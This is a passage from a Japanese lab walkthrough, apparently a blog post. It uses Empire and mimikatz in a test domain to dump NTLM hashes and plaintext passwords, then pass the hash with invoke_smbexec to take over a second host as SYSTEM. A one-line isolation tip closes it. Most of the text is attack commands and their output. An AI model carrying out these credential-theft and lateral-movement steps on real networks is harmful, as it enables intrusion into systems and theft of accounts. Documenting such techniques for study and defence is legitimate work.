Authentication Id : 0 ; 21590 (00000000:00005456)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:43 PM
SID               : 
    msv :   
     [00000003] Primary
     * Username : VICTIM$
     * Domain   : PENTEST
     * NTLM     : 60b2fb46b19173f585d481c181b61d70
     * SHA1     : 6eaa278ae25f3386b4d84f4a484044995c4429ca
    tspkg : 
    wdigest :   
    kerberos :  
    ssp :   
    credman :   

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : VICTIM$
Domain            : PENTEST
Logon Server      : (null)
Logon Time        : 8/17/2018 2:47:42 PM
SID               : S-1-5-18
    msv :   
    tspkg : 
    wdigest :   
     * Username : VICTIM$
     * Domain   : PENTEST
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    kerberos :  
     * Username : victim$
     * Domain   : PENTEST.LOCAL
     * Password : & K6`7&$P-xm@sBull#T**!lEq<? )y@[D=SC.u,?QbligUK6;d4uyEI I*nz;_;AXr^71gD&^]P3sU8Y6q(4[='^)Ax'#qU;p.'t$?k4_hb!oX)nCo:@#],
    ssp :   
    credman :   

mimikatz(powershell) # exit
Bye!


[*] Valid results returned by 192.168.12.10

(Empire: powershell/credentials/mimikatz/logonpasswords) > creds

Credentials:

  CredID  CredType   Domain                   UserName         Host             Password
  ------  --------   ------                   --------         ----             --------
  1       hash       pentest.local            user             victim           e82a5afbaa5f49c9a9e375430f3cdf05
  2       hash       pentest.local            VICTIM$          victim           60b2fb46b19173f585d481c181b61d70
  3       plaintext  pentest.local            user             victim           Vict1m3

(Empire: powershell/credentials/mimikatz/logonpasswords) > back

使い方はbypassuacの時と一緒です。実行するといろいろ出力されます。この情報はcredsと打つことで見ることができます。

結果はこのようにパスワードハッシュとパスワードの平文を手に入れてます。今度はこのパスワードハッシュを利用してドメイン上にある別のPCに移る(感染)しにいきます。

invoke_smbexecする

別のPCに移るために今回はinvoke_smbexecコマンドを利用します。

(Empire: 85VHTSNY) > usemodule lateral_movement/invoke_smbexec
(Empire: powershell/lateral_movement/invoke_smbexec) > info

              Name: Invoke-SMBExec
            Module: powershell/lateral_movement/invoke_smbexec
        NeedsAdmin: False
         OpsecSafe: True
          Language: powershell
MinLanguageVersion: 2
        Background: False
   OutputExtension: None

Authors:
  @rvrsh3ll

Description:
  Executes a stager on remote hosts using SMBExec.ps1

Comments:
  https://raw.githubusercontent.com/Kevin-Robertson/Invoke-
  TheHash/master/Invoke-SMBExec.ps1

Options:

  Name         Required    Value                     Description
  ----         --------    -------                   -----------
  CredID       False                                 CredID from the store to use.           
  ComputerName True                                  Host[s] to execute the stager on, comma 
                                                     separated.                              
  Service      False                                 Name of service to create and delete.   
                                                     Defaults to 20 char random.             
  ProxyCreds   False       default                   Proxy credentials                       
                                                     ([domain\]username:password) to use for 
                                                     request (default, none, or other).      
  Username     True                                  Username.                               
  Domain       False                                 Domain.                                 
  Hash         True                                  NTLM Hash in LM:NTLM or NTLM format.    
  Agent        True        85VHTSNY                  Agent to run module on.                 
  Listener     True                                  Listener to use.                        
  Proxy        False       default                   Proxy to use for request (default, none,
                                                     or other).                              
  UserAgent    False       default                   User-agent string to use for the staging
                                                     request (default, none, or other).      

(Empire: powershell/lateral_movement/invoke_smbexec) > creds

Credentials:

  CredID  CredType   Domain                   UserName         Host             Password
  ------  --------   ------                   --------         ----             --------
  1       hash       pentest.local            user             victim           e82a5afbaa5f49c9a9e375430f3cdf05
  2       hash       pentest.local            VICTIM$          victim           60b2fb46b19173f585d481c181b61d70
  3       plaintext  pentest.local            user             victim           Vict1m3

(Empire: powershell/lateral_movement/invoke_smbexec) > set CredID 1
(Empire: powershell/lateral_movement/invoke_smbexec) > set ComputerName 192.168.12.1
(Empire: powershell/lateral_movement/invoke_smbexec) > set Username user
(Empire: powershell/lateral_movement/invoke_smbexec) > set Domain PENTEST
(Empire: powershell/lateral_movement/invoke_smbexec) > set hash e82a5afbaa5f49c9a9e375430f3cdf05
[!] Invalid option specified.
(Empire: powershell/lateral_movement/invoke_smbexec) > set Hash e82a5afbaa5f49c9a9e375430f3cdf05
(Empire: powershell/lateral_movement/invoke_smbexec) > set Listener http
(Empire: powershell/lateral_movement/invoke_smbexec) > execute
[*] Tasked 85VHTSNY to run TASK_CMD_WAIT
[*] Agent 85VHTSNY tasked with task ID 2
[*] Tasked agent 85VHTSNY to run module powershell/lateral_movement/invoke_smbexec
(Empire: powershell/lateral_movement/invoke_smbexec) > 

モジュールの使い方は一緒です、必要な情報をひたすら埋めていきます。

実行した結果は下のようになります。infoと打つことで別のPCに移動していることが確認できます。 ※前のagentの時にinfoと打ってないのでわかりにくいですが移動できています。internal_ipの値がそれを証明しています

[*] Agent 85VHTSNY returned results.
Command executed with service TIPCPSXLXSJTFJEJWAWB on 192.168.12.1


[*] Valid results returned by 192.168.12.10
[*] Sending POWERSHELL stager (stage 1) to 192.168.12.1
[*] New agent 7NUPWBKG checked in
[+] Initial agent 7NUPWBKG from 192.168.12.1 now active (Slack)
[*] Sending agent (stage 2) to 7NUPWBKG at 192.168.12.1

(Empire: powershell/lateral_movement/invoke_smbexec) > interact 7NUPWBKG
(Empire: 7NUPWBKG) > info

[*] Agent info:

    nonce               7180758306521210
    jitter              0.0
    servers             None
    internal_ip         192.168.12.1
    working_hours       
    session_key         X-Tv+%o=mq_[G:h~0DH6Owajuf`z&.Vs
    children            None
    checkin_time        2018-08-17 15:22:26
    hostname            WIN-LIL2GIC6EFI
    id                  3
    delay               5
    username            PENTEST\SYSTEM
    kill_date           
    parent              None
    process_name        powershell
    listener            http
    process_id          1664
    profile             /admin/get.php,/news.php,/login/process.php|Mozilla/5.0 (Windows NT
                                6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
    os_details          Microsoft Windows Server 2012 R2 Datacenter ???
    lost_limit          60
    taskings            None
    name                7NUPWBKG
    language            powershell
    external_ip         192.168.12.1
    session_id          7NUPWBKG
    lastseen_time       2018-08-17 15:22:38
    language_version    4
    high_integrity      1

(Empire: 7NUPWBKG) > 

対策

さて今回の実験でRATを実行したPCは条件次第では別のPCに移れてしまいます。なのでわかった時点で隔離しましょう。まずはネットワークを切りましょう。以上